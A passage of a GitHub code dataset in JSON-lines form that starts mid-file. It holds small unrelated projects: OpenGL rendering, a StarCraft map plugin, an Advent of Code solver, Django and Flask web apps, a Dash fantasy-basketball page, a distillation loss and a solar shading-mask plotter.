axis[0], axis[1], axis[2]) # Ensuite, appliquez la rotation\r\n glTranslatef(0, 0, arrow_length - arrowhead_length) # Enfin, déplacez le long de l'axe Z après rotation\r\n quadric = gluNewQuadric()\r\n gluCylinder(quadric, arrowhead_width, 0, arrowhead_length, 1000, 1000)\r\n glPopMatrix()\r\n\r\n\r\n\r\n def draw(self):\r\n\r\n #Setup 2D + Fond d'écran\r\n self.setup_2d_projection()\r\n self.general_tools.set_background()\r\n\r\n #Setup 3D pour dessiner les objects celestes\r\n self.setup_3d_projection()\r\n #Bouger la caméra selon la direction\r\n self.move_camera()\r\n\r\n if self.SimulationState.OutilCreation.appended:\r\n self.draw_vitesse()\r\n\r\n #Dessiner les objects\r\n self.draw_celestial_objects()\r\n\r\n\r\n #Highlight selected object\r\n if self.selectedObject:\r\n self.general_tools.draw_highlight(self.selectedObject)\r\n self.general_tools.follow_line(self.selectedObject.position_simulation)\r\n if self.axesEnable:\r\n self.general_tools.draw_axes()\r\n else:\r\n self.frame_counter_axes=0\r\n #Path of objects:\r\n self.general_tools.draw_planet_path()\r\n\r\n #Remise en 2D\r\n self.setup_2d_projection()\r\n if self.selectedObject:self.general_tools.draw_selected_object_infos(self.selectedObject)\r\n self.draw_minimap()\r\n if self.SimulationState.isCreating:\r\n self.SimulationState.OutilCreation.draw()\r\n\r\n\r\n #Dessiner bouttons + Labels\r\n self.draw_pyglet_objects()\r\n\r\n\r\n #self.frameBuffer.draw(0,0)\r\n\r\n self.frame_counter+=1\r\n if self.frame_counter>90:\r\n self.frame_counter = 0\r\n\r\n\r\n\r\n","repo_name":"guillaumewolfe/gravity_sim","sub_path":"src/engine/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":32693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30136248705","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom eudplib import *\n\nimport initialization\nimport mapdata\nimport unitloop\nimport upgrade\n\nwith open(\"../source/VERSION\", \"r\") as f:\n VERSION = f.read()\n\n\ndef onPluginStart():\n edit_map_title_and_description()\n # 초기화 트리거는 initialization.py에 모음\n initialization.main()\n\n\ndef beforeTriggerExec():\n upgrade.detect_research()\n\n\ndef afterTriggerExec():\n unitloop.main()\n f_dwwrite(0x6509A0, 0) # eudTurbo\n\n\ndef edit_map_title_and_description():\n chkt = mapdata.chkt\n SPRP = chkt.getsection(\"SPRP\")\n strmap = TBL(chkt.getsection(\"STR\"))\n\n title_strid = b2i2(SPRP, 0)\n desc_strid = b2i2(SPRP, 2)\n title = strmap.GetString(title_strid)\n desc = strmap.GetString(desc_strid)\n\n try:\n title = GetStringIndex(title + u2b(\" \\x06PBP %s\" % VERSION))\n except (TypeError):\n pass\n else:\n desc = GetStringIndex(\n desc + u2b(\"\\nEdited by EDAC https://cafe.naver.com/edac\")\n )\n SPRP = i2b2(title) + i2b2(desc)\n chkt.setsection(\"SPRP\", SPRP)\n","repo_name":"starcraft-editor-academy/PBP","sub_path":"source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11823602949","text":"import numpy as np\n\nfrom load_data import load_data\n\n\ndef _rect(X, w, h):\n for j in range(h):\n for k in range(w):\n X[j, k] = 1\n return X\n\n\ndef _rotateRow(X, idx, N):\n newcolidx = [(j - N) % X.shape[1] for j in range(X.shape[1])]\n X[idx, :] = X[idx, newcolidx]\n return X\n\n\ndef _rotate(X, rc, idx, N):\n if rc == 'row':\n X = _rotateRow(X, idx, N)\n elif rc == 'column':\n X = _rotateRow(X.T, idx, N).T\n else:\n raise Exception('parse error; expected row or column')\n return X\n\n\ndef updateDisplay(X, op):\n # X is a matrix of 0's and 1's\n # op is the operation to perform on X\n cmd = op.split(' ')\n if cmd[0] == 'rotate':\n idx = int(cmd[2][2:])\n N = int(cmd[-1])\n X = _rotate(X, cmd[1], idx, N)\n elif cmd[0] == 'rect':\n whsep = cmd[1].index('x')\n w = int(cmd[1][:whsep])\n h = int(cmd[1][(whsep+1):])\n X = _rect(X, w, h)\n else:\n print(X)\n print(op)\n print(cmd)\n print(cmd[0])\n print(cmd[0] == 'rect')\n raise Exception('parse error... expected \"rotate\" or \"rect\"')\n return X\n\n\ndef _initialGrid(shape):\n return np.zeros(shape)\n\n\ndef _main(data):\n display = _initialGrid(shape=(6, 50))\n for d in data:\n display = updateDisplay(display, d)\n return display\n\n\nif __name__ == \"__main__\":\n data = load_data('./input/day8input.csv')\n display = _main(data)\n display_text = [['#' if x[j] == 1 else '.'\n for j in range(len(x))]\n for x in display.tolist()]\n for j in display_text:\n print(j)\n print('number of lit pixels:')\n print(display.sum())\n","repo_name":"asberk/AoC2016","sub_path":"day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10534105656","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.cart, name='Cart'),\n path('add_to_cart/', views.add_to_cart, name=\"add_to_cart\"),\n path('update_cart/', views.update_cart, name = \"update_cart\"),\n path('delete_product/', views.delete_product, name = \"detele_product\"),\n path('set_shipping/', views.set_shipping, name = \"set_shipping\"),\n]","repo_name":"cegomezpy/django-store","sub_path":"Ecomerce/StoreApp/CartApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25627876030","text":"import os\n\n#os.mkdir('files')\n\nos.chdir('files')\n\nfor i in range(1, 10):\n new_folder = f\"folder_{i}\"\n #os.mkdir(new_folder)\n\nfile_path = os.path.join(new_folder, 'file.txt')\nif os.path.isfile(file_path):\n print(f\"{file_path} існує\")\nelse:\n print(f\"{file_path} не існує\")\n\nos.rmdir('folder_7')\nos.rmdir('folder_8')\nimport shutil # імпортую shutil, щоб видалити не пусту директорію!\nshutil.rmtree('folder_9')\n\n\nimport time\n\ndef timing_decorator(func):\n def wrapper(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n print(f\"Function {func.__name__} took {end_time - start_time:.4f} seconds to run.\")\n return result\n return wrapper","repo_name":"igorkulish09/test.dz_13","sub_path":"dz_12.py","file_name":"dz_12.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38236051289","text":"#!/usr/bin/python\n\n# variance sample\n\nscore = [ 45, 60, 78, 80, 90, 100, 77, 80 ]\n\nsum = 0\nvar_sum = 0\nitem_num = len(score)\n\nfor i in score:\n sum += i\n\nmean = sum / item_num\n\nfor j in score:\n var_sum += (mean-j)**2\n\nvariance = var_sum / item_num\nstd = variance**(1/2)\n\nprint(\"mean: %f, variance: %f, standard deviation: %f\" % (mean,variance,std))\n","repo_name":"chesterroh/fabian_class","sub_path":"var.py","file_name":"var.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71183458065","text":"# -*- coding: utf-8 -*-\n\"\"\"\n :author: Kleon\n :url: https://github.com/kleon1024\n\"\"\"\nimport os\n\nimport click\n\nfrom flask import Flask\nfrom collections import OrderedDict\n\nfrom .blueprints.auth import auth_bp\nfrom .blueprints.domain import domain_bp\n# from .blueprints.comment import comment_bp\n# from .blueprints.sparkle import sparkle_bp\nfrom .blueprints.roadmap import roadmap_bp\nfrom .blueprints.collection import collection_bp\nfrom .blueprints.user import user_bp\nfrom .blueprints.resource import resource_bp\nfrom .blueprints.main import main_bp\nfrom .blueprints.group import group_bp\n\nfrom .extensions import db, jwt, whooshee\nfrom .settings import config\nfrom flask_migrate import Migrate\nfrom flask_cors import CORS\n\n\ndef create_app(config_name=None):\n if config_name is None:\n config_name = os.getenv('FLASK_CONFIG', 'development')\n\n app = Flask('chainmore')\n CORS(app, resources={r\"/v1/*\": {\"origins\": \"https://www.chainmore.fun\"}})\n \n app.config.from_object(config[config_name])\n\n register_extensions(app)\n register_blueprints(app)\n register_commands(app)\n register_errorhandlers(app)\n\n return app\n\n\ndef register_extensions(app):\n db.init_app(app)\n whooshee.init_app(app)\n jwt.init_app(app)\n Migrate(app, db)\n\n\ndef register_blueprints(app):\n app.register_blueprint(auth_bp, url_prefix='/v1/auth')\n app.register_blueprint(domain_bp, url_prefix='/v1/domain')\n app.register_blueprint(roadmap_bp, url_prefix='/v1/roadmap')\n # app.register_blueprint(comment_bp, url_prefix='/v1/comment')\n app.register_blueprint(collection_bp, url_prefix='/v1/collection')\n # app.register_blueprint(sparkle_bp, url_prefix='/v1/sparkle')\n app.register_blueprint(user_bp, url_prefix='/v1/user')\n app.register_blueprint(resource_bp, url_prefix='/v1/resource')\n app.register_blueprint(main_bp, url_prefix='/v1')\n app.register_blueprint(group_bp, url_prefix='/v1/group')\n\n\ndef register_errorhandlers(app):\n @app.errorhandler(400)\n def bad_request(e):\n return {}, 400\n\n\ndef register_commands(app):\n @app.cli.command()\n def certify():\n \"\"\"Certify\"\"\"\n from .initialize import certify\n certify()\n\n @click.option('-c', '--command', required=True)\n @app.cli.command()\n def raw(command):\n \"\"\"Raw Sql\"\"\"\n result = db.engine.execute(command)\n print(result)\n\n @click.option('-u', '--username', required=True)\n @click.option('-r', '--role', required=True)\n @app.cli.command()\n def create_user(username, role):\n \"\"\"Create User\"\"\"\n click.echo(\"Creating {}\".format(username))\n from .initialize import add_user\n add_user(username, role)\n\n @click.option('-u', '--username', required=True)\n @click.option('-r', '--role', required=True)\n @app.cli.command()\n def reset_user(username, role):\n \"\"\"Create User\"\"\"\n click.echo(\"Creating {}\".format(username))\n from .initialize import reset_user\n reset_user(username, role)\n\n @app.cli.command()\n def reset():\n \"\"\"Reset database\"\"\"\n click.echo(\"Resetting database...\")\n\n db.drop_all()\n db.create_all()\n db.session.commit()\n\n @app.cli.command()\n def init():\n \"\"\"Initialize data\"\"\"\n db.create_all()\n db.session.commit()\n click.echo('Initializing data...')\n\n from .initialize import (init_role, admin, root_domain,\n resource_media_type, collection_type)\n\n click.echo('Creating roles...')\n init_role()\n click.echo('Creating admin...')\n admin()\n click.echo('Creating root domain...')\n root_domain()\n click.echo('Creating resource media type...')\n resource_media_type()\n click.echo('Creating collection type...')\n collection_type()\n\n click.echo('Done')\n\n @app.cli.command()\n @click.option('--user', default=30)\n @click.option('--domain', default=10)\n @click.option('--post', default=20)\n @click.option('--follow', default=30)\n @click.option('--comment', default=50)\n @click.option('--collect', default=20)\n @click.option('--watch', default=30)\n @click.option('--like', default=100)\n @click.option('--vote', default=50)\n def forge(user, domain, post, follow, comment, collect, watch, like, vote):\n \"\"\"Generate fake data.\"\"\"\n click.echo('Initializing fake data...')\n\n from .fakes import (fake_admin, fake_user, fake_comment, fake_follow,\n fake_domain, fake_post, fake_watch, fake_like,\n fake_vote, fake_collect)\n\n click.echo('Generating the administrator...')\n fake_admin()\n click.echo('Generating %d users...' % user)\n fake_user(user)\n click.echo('Generating %d follows...' % follow)\n fake_follow(follow)\n click.echo('Generating %d domain...' % domain)\n fake_domain(domain)\n click.echo('Generating %d posts...' % post)\n fake_post(post)\n click.echo('Generating %d comments...' % comment)\n fake_comment(comment)\n click.echo('Generating %d watches...' % watch)\n fake_watch(watch)\n click.echo('Generating %d likes...' % like)\n fake_like(like)\n click.echo('Generating %d votes...' % vote)\n fake_vote(vote)\n click.echo('Generating %d collects...' % collect)\n fake_collect(collect)\n click.echo('Done')\n","repo_name":"kleon1024/ChainMore-API-Flask","sub_path":"chainmore/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"40312645066","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n'''\n module description\n date: 2020/4/5\n'''\n__author__ = \"Bigcard\"\n__copyright__ = \"Copyright 2018-2020\"\n\ntushare_csv_home = \"E:/database/csv/tushare/\"\ntushare_csv_day = tushare_csv_home + \"day/\"\ntushare_csv_day_pro = tushare_csv_home + \"day_pro/\"\ntushare_csv_day_index = tushare_csv_home + \"/day_index/\"\n\ntdx_local_home = \"D:/Software/Stock/jcb_hlzq/\"\ntdx_local_sh_day = tdx_local_home + \"Vipdoc/sh/lday/\" #上海的日k线数据\ntdx_local_sz_day = tdx_local_home + \"Vipdoc/sz/lday/\" #深圳的日k线数据\ntdx_local_sh_minline1 = tdx_local_home + \"Vipdoc/sh/minline/\" #上海的1分钟数据\ntdx_local_sz_minline1 = tdx_local_home + \"Vipdoc/sz/minline/\" #深圳的1分钟数据\ntdx_local_sh_minline5 = tdx_local_home + \"Vipdoc/sh/fzline/\" #上海的1分钟数据\ntdx_local_sz_minline5 = tdx_local_home + \"Vipdoc/sz/fzline/\" #深圳的1分钟数据\ntdx_local_block = tdx_local_home + \"T0002/hq_cache/\" #板块目录\n\ntdx_local_fst = tdx_local_home + \"Vipdoc/fst/\" #分时图数据目录,需要每天如果移到并重命名文件 #原始文件路径在T0002/hq_cache/sh.tfz和sz.tfz\ntdx_local_incon_file = tdx_local_home + \"incon.dat\" #证监会行业,通达信新行业,申万行业等描述信息\ntdx_local_tdxhy_file = tdx_local_home + \"T0002/hq_cache/tdxhy.cfg\" #每个股票对应通达信行业和申万行业\ntdx_local_block_tdxzs_file = tdx_local_home + \"T0002/hq_cache/tdxzs.cfg\" #板块指数,部分板块的最后一个字段映射到incon.dat的TDXNHY和SWHY\ntdx_local_block_self_file = tdx_local_home + \"T0002/blocknew/blocknew.cfg\" #自定义板块概要描述文件\n\ntdx_csv_home = \"E:/database/csv/tdx/\"\ntdx_csv_block = tdx_csv_home + \"block/\"\ntdx_csv_day = tdx_csv_home + \"day/\"\ntdx_csv_minline1_all = tdx_csv_home + \"minline1all/\"\ntdx_csv_minline1_simple = tdx_csv_home + \"minline1simple/\"\n\ntdx_csv_home = \"E:/database/csv/ths/\"\nths_csv_day_attach = tdx_csv_home + \"day_attach/\" #日线数据附加信息:涨跌幅、涨跌、换手率、量比、振幅、流通股、流通市值、市盈率\n\nsample_file_path = \"E:/python/projects/python_lab/sample_file\"\n\nmysql_host = \"localhost\"\nmysql_username = \"root\"\nmysql_dbname = \"stock\"\n\nif __name__ == '__main__':\n pass","repo_name":"fswzb/python_lab","sub_path":"python_lab/config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40670224143","text":"#!/usr/bin/python3\nfrom TweetBot.routine import Routiner\nfrom .help_cmd import HelpCmd\nfrom .how_are_you import HowAreYouCmd\n\nfrom pdb import set_trace\n\nclass CmdManager(Routiner):\n\n def __init__(self):\n super().__init__()\n how_r_u = HowAreYouCmd(cmd='how are you')\n self.all = {\n '--help' : HelpCmd(cmd='help', dsc='List of things I can understand.'),\n 'How are you' : how_r_u\n }\n\n\n def Update(self, **kwargs):\n super().Update(**kwargs)\n print('CmdManager Update is called!')\n\n for name, cmd in self.all.items():\n if 'help' in name:\n cmd.process(kwargs.get('tweet', None), kwargs.get('mention', None),\n all_cmd=list(self.all.keys()),\n dry_run=kwargs.get('dry_run', False))\n else:\n cmd.process(kwargs.get('tweet', None), kwargs.get('mention', None),\n dry_run=kwargs.get('dry_run', False))\n","repo_name":"GamehoundProductions/TweetTheGifBot","sub_path":"depr/commands/cmd_manager.py","file_name":"cmd_manager.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23313442932","text":"from main_dash import app\nfrom resources.services.espn_fantasy_service import get_team, get_team_player_positions\nfrom dash import html, dcc\nfrom dash.dependencies import Input, Output\nfrom resources.constants import *\nfrom resources.util import dropdown_teams_list\nfrom resources.modules.player_stats_table import generate_player_stats_table\n\nPUNT_CHECKLIST_ID = 'punt_checklist_id'\nTEAM_PAGE_STATS_TABLE_CONTAINER = 'team_page_stats_table_container'\n\n\ndef generate_team_profile_page():\n return html.Div([\n dcc.Dropdown(\n id=TEAM_SELECTION_DROPDOWN_ID,\n options=dropdown_teams_list(),\n value='1'\n ),\n dcc.Loading(\n id=\"loading-1\",\n type=\"default\",\n children=html.Div(id=TEAM_PAGE_CONTAINER)\n )\n ])\n\n\n@app.callback(Output(TEAM_PAGE_CONTAINER, 'children'),\n Input(TEAM_SELECTION_DROPDOWN_ID, 'value'))\ndef render_team_page_container(team_id):\n # if team_id == 'FREE AGENT':\n # team_name = 'Free Agents'\n # return [\n # html.H1(children=team_name),\n # generate_player_stats_table(team_id),\n # html.P('Data from basketballmonster.com')\n # ]\n\n team_name = get_team(int(team_id)).team_name\n team_player_positions = get_team_player_positions(int(team_id))\n return [\n html.H1(children=team_name),\n punt_checklist_div(),\n html.Div(id=TEAM_PAGE_STATS_TABLE_CONTAINER),\n # generate_player_stats_table(team_id),\n # html.P('Data from basketballmonster.com'),\n html.H2('Positional Breakdown:'),\n html.Ul(list(\n map(\n lambda pos: html.Li(f'{pos}: {team_player_positions[pos]}'),\n team_player_positions.keys()\n )\n ))\n ]\n\n\ndef punt_checklist_div():\n return html.Div([\n html.P(\"Punt Categories\"),\n dcc.Checklist(\n id=PUNT_CHECKLIST_ID,\n options=[\n {'label': 'PTS', 'value': 'pV'},\n {'label': '3', 'value': '3V'},\n {'label': 'REB', 'value': 'rV'},\n {'label': 'AST', 'value': 'aV'},\n {'label': 'STL', 'value': 'sV'},\n {'label': 'BLK', 'value': 'bV'},\n {'label': 'FG%', 'value': 'fg%V'},\n {'label': 'FT%', 'value': 'ft%V'},\n {'label': 'TO', 'value': 'toV'},\n ],\n value=[],\n labelStyle={'display': 'inline-block'}\n )\n ])\n\n\n@app.callback(Output(TEAM_PAGE_STATS_TABLE_CONTAINER, 'children'),\n Input(TEAM_SELECTION_DROPDOWN_ID, 'value'),\n [Input(component_id=PUNT_CHECKLIST_ID, component_property='value')])\ndef render_team_page_container(team_id, punts):\n if len(punts) != 0:\n punt_weights = {}\n for cat in PUNT_ORIGINAL_WEIGHTS:\n if cat not in punts:\n punt_weights[cat] = 1\n return [generate_player_stats_table(team_id, punt_weights)]\n return [generate_player_stats_table(team_id)]\n\n\n","repo_name":"elnathanau1/fantasy-dashboard","sub_path":"resources/pages/team_profile_page.py","file_name":"team_profile_page.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22667124759","text":"from django.shortcuts import render\n\nfrom .models import *\nimport json\n# Create your views here.\ndef indexview(request):\n province=province.objects.all().order_by('name')\n province_list=list(province.values('name','id'))\n province_list=json.dumps(province_list)\n\n division=division.objects.all().order_by('name')\n division_list=list(division.values('name','country__name','id'))\n division_list=json.dumps(division_list)\n\n district=district.objects.all().order_by('name')\n district_list=list(district.values('name','division__name','id'))\n district_list=json.dumps(district_list)\n\n tehsil=tehsil.objects.all().order_by('name')\n tehsil_list=list(tehsil.values('name','district__name','id'))\n tehsil_list=json.dumps(tehsil_list)\n\n city=city.objects.all().order_by('name')\n city_list=list(city.values('name','district__name','id'))\n city_list=json.dumps(city_list)\n\n context={\n \"province_list\":province_list,\n \"division_list\":division_list,\n \"district_list\":district_list,\n \"tehsil_list\":tehsil_list,\n \"city_list\":city_list,\n }\n return render(request, 'index.html',context)\n\n\n\n# from .models import Contact\n# from .serializers import ContactSerializer\n# from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView\n# class ContactListCreateAPIView(ListCreateAPIView):\n# serializer_class=ContactSerializer\n# queryset=Contact.objects.all()\n# class ContactRetrieveUpdateDestroyAPIView(RetrieveUpdateDestroyAPIView):\n# serializer_class=ContactSerializer\n# queryset=Contact.objects.all()\n# lookup_field='id'","repo_name":"tanveerabid/pdf-test","sub_path":"tss/country_info_tree/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17142728185","text":"from .views import (\n loginPage,\n logoutUser,\n # register,\n updateUser\n)\nfrom django.urls import path\nfrom django.conf import settings\n# from django.contrib.auth import views as auth_views\n\nurlpatterns = [\n path('login', loginPage, name=settings.LOGIN_URL_NAME),\n path('logout', logoutUser, name=\"logout-page\"),\n # path('signup', register, name=\"sign-up-page\"),\n path('update', updateUser, name=\"update-user-page\"),\n # path('reset_password/',auth_views.PasswordResetView.as_view(template_name='users/reset_password.html'),name='password_reset'), # noqa\n # path('reset_password_done/',auth_views.PasswordResetDoneView.as_view(template_name='users/reset_password_done.html'),name='password_reset_done'), # noqa\n # path('reset_password_confirm///',auth_views.PasswordResetConfirmView.as_view(template_name='users/reset_password_confirm.html'),name='password_reset_confirm'), # noqa\n # path('reset_password_complete/',auth_views.PasswordResetCompleteView.as_view(template_name='users/reset_password_complete.html'),name='password_reset_complete'), # noqa\n]\n","repo_name":"mad1009/django_folder_structure","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26277110079","text":"import torch\r\n\r\nfrom utils.metrics import pairwise_euclidean_distance\r\n\r\n\r\ndef kd_cluster_loss(embs_s, emb_size, lp_layer, labels, centroids, **kwargs):\r\n \"\"\"\r\n Cluster-based Knowledge Distillation loss. It computes Davies-Bouldin index for each label in the batch.\r\n :param embs_s: embeddings from the student model for each item in the batch\r\n :param emb_size: size of the embeddings of the student model\r\n :param lp_layer: the linear projection layer\r\n :param labels: labels for each item in the batch\r\n :param centroids: centroids for all the labels from the training set. computed using the pre-trained MOVE model\r\n :param kwargs: any other arguments\r\n :return: average of the loss value for each label in the batch\r\n \"\"\"\r\n # setting the proper device\r\n device = 'cuda:0' if torch.cuda.is_available() else 'cpu'\r\n\r\n # getting the unique labels of the batch\r\n unique_labels = torch.unique(labels)\r\n\r\n # computing teacher embeddings by passing the centroids of each label\r\n # to the linear projection layer\r\n embs_t = torch.cat([lp_layer(\r\n centroids[unique_labels[i].item()].to(device)) for i in range(unique_labels.size(0))], 0)\r\n\r\n # computing normalized Euclidean distance between student embeddings and each projected centroid\r\n dist_all = pairwise_euclidean_distance(embs_s, embs_t)\r\n dist_all /= emb_size\r\n\r\n # creating a mask for finding the related centroid for each item in the batch\r\n dist_mask = (pairwise_euclidean_distance(labels.view(-1, 1).double(),\r\n unique_labels.view(-1, 1).double()) < 0.5).float()\r\n\r\n # computing intra-cluster distances\r\n intra_dist = torch.mean(dist_all * dist_mask, dim=0)\r\n\r\n # computing inter-cluster distances with normalized Euclidean distance\r\n inter_dist = pairwise_euclidean_distance(embs_t)\r\n inter_dist /= emb_size\r\n\r\n # numerator of Davies-Bouldin index\r\n numerator = intra_dist.view(-1, 1) + intra_dist.view(1, -1)\r\n\r\n # computing Davies-Bouldin index\r\n tmp = (numerator / inter_dist) * (1 - torch.eye(numerator.size(0))).to(device)\r\n max_tmp = torch.max(tmp, dim=1).values\r\n\r\n return max_tmp.mean()\r\n","repo_name":"furkanyesiler/re-move","sub_path":"losses/kd_cluster_loss.py","file_name":"kd_cluster_loss.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"48"} +{"seq_id":"36516339532","text":"from linkedList import LinkedListNode\n\ndef hasLoop(first : LinkedListNode) -> bool:\n ids : list[int] = []\n node = first\n while True:\n i = id(node)\n if ids.count(i) > 0: return True\n ids.append(i)\n node = node.getNext()\n if (node == None):\n break\n return False","repo_name":"amoguelk/interviewQuestions","sub_path":"listHasLoop.py","file_name":"listHasLoop.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5257095060","text":"# Test for shading mask diagram plotting\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib.cm as cm\nfrom pathlib import Path\nimport argparse\nimport os\nimport plotly.graph_objs as go\n\ndef plotShadingMask(csv_filename,save=True):\n\n # The CSV file must contain a comma-separated matrix of size\n # azimuth x altitude\n shading_test_values = np.genfromtxt(csv_filename, delimiter=',')\n \n if save:\n fig = plt.figure()\n\n # azimuth-latitude coordinates\n altitude = np.linspace(0, 90, shading_test_values.shape[1]+1)\n azimuth = np.linspace(0, 2*np.pi, shading_test_values.shape[0]+1)\n \n # Coordinate grid for the pcolormesh\n r, th = np.meshgrid(altitude, azimuth)\n\n ax1 = plt.subplot(projection=\"polar\")\n plt.grid(False)\n\n im = plt.pcolormesh(th, r, shading_test_values, cmap=cm.gray_r , vmin=0, vmax=1)\n\n # Setting colorbar ticks\n v1 = np.linspace(0, 1, 11)\n cbar = plt.colorbar(im,ticks=v1)\n cbar.ax.set_yticklabels([\"{:4.2f}\".format(i) for i in v1]) # add the labels\n\n # Grid on azimuth: 0 is in the North position, \n # the axis is reverted with respect to usual polar coordinates\n # steps of 15° in the plot\n plt.thetagrids([i*15 for i in range(0,24)])\n ax1.set_theta_direction(-1)\n ax1.set_theta_zero_location(\"N\")\n\n # Grid on altitude: 0 is in the outer circle, \n # steps inwards of 10° in the plot\n plt.rgrids([i*10 for i in range(0,10)])\n ax1.set_rlim(bottom=90, top=0)\n\n plt.savefig('Shading_mask'+Path(csv_filename).stem+'.png')\n plt.close()\n else:\n\n hovertemplate = ('Altitude: %{r}
'\n 'Azimuth: %{theta}
'\n 'Solar mask: %{customdata}
'\n '')\n \n # azimuth-altitude coordinates\n r, theta = np.mgrid[0:90:shading_test_values.shape[1]+1j, 0:360:shading_test_values.shape[0]+1j]\n \n # Plotly polar representation of the shading mask\n fig = go.Figure(go.Barpolar(\n r=r.ravel(),\n theta=theta.ravel(),\n hovertemplate=hovertemplate,\n customdata=shading_test_values.ravel(order='F'),\n marker=dict(\n colorscale='gray',\n showscale=True,\n color=shading_test_values.ravel(order='F'),\n reversescale=True)\n )\n )\n \n fig.update_layout(\n title='',\n polar=dict(\n angularaxis=dict(tickvals=np.arange(0, 360, 15),\n direction='clockwise'),\n radialaxis=dict(angle=60,\n tickvals=[],\n autorange=\"reversed\"),\n bargap=0\n ),\n \n )\n return fig\n\n\ndef plotShadingMaskDir(directory_path):\n for root, dirs, files in os.walk(directory_path):\n for file in files:\n if file.endswith(\".csv\"):\n plotShadingMask(os.path.join(root,file))\n\nif __name__ == '__main__':\n # Read the command line\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--file_path\", type=Path, help='Insert the name of the csv file containing the shading mask matrix')\n parser.add_argument(\"--dir_path\", type=Path, help='Insert the name of the directory containing the csv file with the shading mask matrix')\n parser.add_argument(\"--destination\",type=Path, help='Destination of the shading mask images. Default: location of the python script')\n\n p, unknown = parser.parse_known_args()\n\n if(p.dir_path and p.dir_path.exists()):\n plotShadingMaskDir(p.dir_path)\n\n if( p.file_path and p.file_path.exists() ):\n plotShadingMask(p.file_path)","repo_name":"feelpp/solar-shading","sub_path":"src/visualization/shading_mask_visualization.py","file_name":"shading_mask_visualization.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"31330094996","text":"from django.shortcuts import render, redirect\n# from django.views.decorators.cache import cache_page\nfrom django.conf import settings\n\nfrom products.models import Product\nfrom products.forms import ProductModelForm\n\n# Create your views here.\n\n# @cache_page(settings.CACHE_TTL)\ndef list_products(request):\n products = Product.objects.all()\n\n context = {\n 'products': products,\n }\n\n return render(request, 'products/list.html', context=context)\n\ndef create_product(request):\n if request.method == 'POST':\n form = ProductModelForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('products:list')\n else:\n form = ProductModelForm()\n\n context = {\n 'form': form\n }\n return render(request, 'products/create.html', context=context)\n\ndef update_product(request, product_id):\n search_product_id = Product.objects.get(pk=product_id)\n\n if request.method == 'POST':\n form = ProductModelForm(data=request.POST, instance=search_product_id)\n \n if form.is_valid():\n form.save()\n return redirect('products:list')\n\n else:\n form = ProductModelForm(instance=search_product_id)\n\n if form.is_valid():\n name = form.cleaned_data['name']\n description = form.cleaned_data['description']\n price = form.cleaned_data['price']\n category = form.cleaned_data['category']\n\n product_updated = Product(name=name,\n description=description,\n price=price,\n category=category)\n \n Product(product_updated)\n\n context = {\n 'form': form,\n }\n\n return render(request, 'products/create.html', context=context)\n\ndef delete_product(request, product_id):\n search_product_id = Product.objects.get(pk=product_id)\n search_product_id.delete()\n \n return redirect('products:list')","repo_name":"EricMarques/ecomm","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6501273866","text":"from django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom elections.tests.factories import ElectionWithStatusFactory, related_status\n\n\n# @pytest.mark.django_db\nclass TestSingleElectionView(TestCase):\n def test_election_status(self):\n # 4 ballots with different moderation statuses\n approved = ElectionWithStatusFactory(\n group=None, moderation_status=related_status(\"Approved\")\n )\n suggested = ElectionWithStatusFactory(\n group=None, moderation_status=related_status(\"Suggested\")\n )\n rejected = ElectionWithStatusFactory(\n group=None, moderation_status=related_status(\"Rejected\")\n )\n deleted = ElectionWithStatusFactory(\n group=None, moderation_status=related_status(\"Deleted\")\n )\n\n # approved elections shoud be visible via the DetailView\n resp = self.client.get(\"/elections/{}/\".format(approved.election_id))\n 